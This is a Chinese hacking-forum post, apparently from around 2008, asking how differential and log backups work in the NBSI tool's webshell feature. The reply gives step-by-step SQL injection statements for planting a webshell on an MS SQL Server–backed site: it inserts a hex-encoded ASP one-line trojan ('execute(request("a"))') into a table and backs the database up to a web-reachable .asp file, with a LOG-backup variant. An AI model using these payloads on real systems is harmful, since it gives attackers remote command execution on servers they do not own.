我对增量备份和LOG备份一直存有疑惑。主要有下面几点、
1.我们常说差异备份,请问这指的是什么?是两种备份的总称还是仅仅增量备份?
2.NBSI3种自带的getwebshell的备份是什么备份?为什么它提示“如果是备份LOG,请先执行:
alter database XXX set RECOVERY FULL”。那么我们不执行这个进行的是增量备份吗?不执行貌似进行的也是LOG备份啊,里面有LOG字样。还有如果执行这么执行。在注入点后手工加;alter database XXX set RECOVERY FULL吗?
3.权限问题。在《精通脚本黑客》里说备份是PUBLIC唯一可以写入shell的方法。但网上有人说正常情况下是不能呢个LOG备份的,首先要修改一下属性(故障还原模式),语句正是LOG备份的第一句话;alter database XXXX set RECOVERY FULL
4.如果getwebshell用的是LOG备份,现在好多版本的都省略了一步,请问省略的是哪一步?
对于差异备份来说,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,这样插入数据得以执行的概率也大大增加,得到webShell的成功自然也会提高了不少。其主要SQL语句为:
1首先完整备份一次(c:\ddd.bak为所备份未见)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>
而LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份。它的基本步骤如下:
alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:\Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('')
backup log XXXX to disk = 'c:\xxx\2.asp'
它只比差异备份多了一句SQL语句,就是那个激活的语句,但很多是时候LOG备份产生的文件更小,所以我们一般选择LOG备份。我是金子,我要闪光的....!
帖子128 精华4 积分3748 阅读权限200 性别男 来自湖南 在线时间124 小时 注册时间2005-1-28 最后登录2008-7-8 查看详细资料引用报告回复 TOP 让女孩一夜变的更有女人味